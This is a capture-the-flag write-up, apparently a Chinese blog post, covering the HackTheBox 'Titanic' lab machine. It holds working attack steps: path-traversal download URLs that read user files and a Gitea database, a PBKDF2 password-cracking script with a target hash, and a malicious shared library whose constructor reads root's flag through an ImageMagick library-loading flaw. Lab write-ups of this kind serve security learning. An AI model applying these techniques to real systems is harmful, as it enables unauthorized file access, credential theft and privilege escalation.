HTB-Titanic

Box Info

OSLinux
DifficultyEasy

Nmap

[root@kali] /home/kali/Titanic  
❯ nmap titanic.htb -sV -T4                                                                                                                    

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)
80/tcp open  http    Apache httpd 2.4.52
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

ReadAnyFiles

进入titanic.htb,点击Book Now,使用burpsuite进行抓包发现一个download路由

尝试将ticket的参数修改为其他文件

可以看到成功下载

使用下面的URL进行下载可以读取到user.txt

http://titanic.htb/download?ticket=../../../../../../../home/developer/user.txt

Subdomain FUZZ

dev.titanic.htb添加到/etc/hosts

可以看到是一个Gitea的服务,并且版本是1.22.1

gitea的数据库文件一般在/data/gitea.db

这里尝试使用下面的路径进行下载

titanic.htb/download?ticket=../../../../../../home/developer/gitea/data/gitea/gitea.db

成功拿到数据库文件

Crack Passwd

可以看到密码是用pbkdf2进行加密的,这和HTB-Compiled有一点类似

直接使用hashcat会有一点慢,这里我使用的是脚本

import hashlib
import binascii

def pbkdf2_hash(password, salt, iterations=50000, dklen=50):
    hash_value = hashlib.pbkdf2_hmac(
        'sha256',
        password.encode('utf-8'),
        salt,
        iterations,
        dklen
    )
    return hash_value

def find_matching_password(dictionary_file, target_hash, salt, iterations=50000, dklen=50):
    target_hash_bytes = binascii.unhexlify(target_hash)
    
    with open(dictionary_file, 'r', encoding='utf-8') as file:
        count = 0
        for line in file:
            password = line.strip()
            hash_value = pbkdf2_hash(password, salt, iterations, dklen)
            count += 1
            print(f"正在检查密码 {count}: {password}")
            if hash_value == target_hash_bytes:
                print(f"\nFound password: {password}")
                return password
        print("Password not found.")
        return None

salt = binascii.unhexlify('8bf3e3452b78544f8bee9400d6936d34')
target_hash = 'e531d398946137baea70ed6a680a54385ecff131309c0bd8f225f284406b7cbc8efc5dbef30bf1682619263444ea594cfb56'
dictionary_file = '/usr/share/wordlists/rockyou.txt'
find_matching_password(dictionary_file, target_hash, salt)

ROOT

登录后,在/opt/scripts下看到一个脚本文件

查看到magick的版本信息,找到一个漏洞

根据identify_image.sh,需要在/opt/app/static/assets/images中生成libxcb.so.1才能导致root权限下的magick读取到root.txt

cd /opt/app/static/assets/images

gcc -x c -shared -fPIC -o ./libxcb.so.1 - << EOF
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

__attribute__((constructor)) void init(){
    system("cat /root/root.txt > /tmp/rootflag");
    exit(0);
}
EOF

然后修改原有的目录内容,比如说复制一个图片

cp home.jpg home2.jpg

Summary

User:任意文件下载即可获取到user.txt,不过没有ssh密钥,在子域名爆破后得知是gitea服务,通过数据库文件泄露拿到了developer的密码hash,爆破后进行登录。

Rootmagick的版本漏洞,该版本在执行时设置和环境变量时可能会使用空路径,这可能会导致在执行时通过加载当前工作目录中的恶意配置文件或共享库来执行任意代码。需要在identify_images.sh所指定的目录下进行创建配置,等待脚本执行即可获得root.txt

当前页面链接: https://www.hyhforever.top/htb-titanic/
如果您对本文内容有所意见或者建议,欢迎评论。
暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇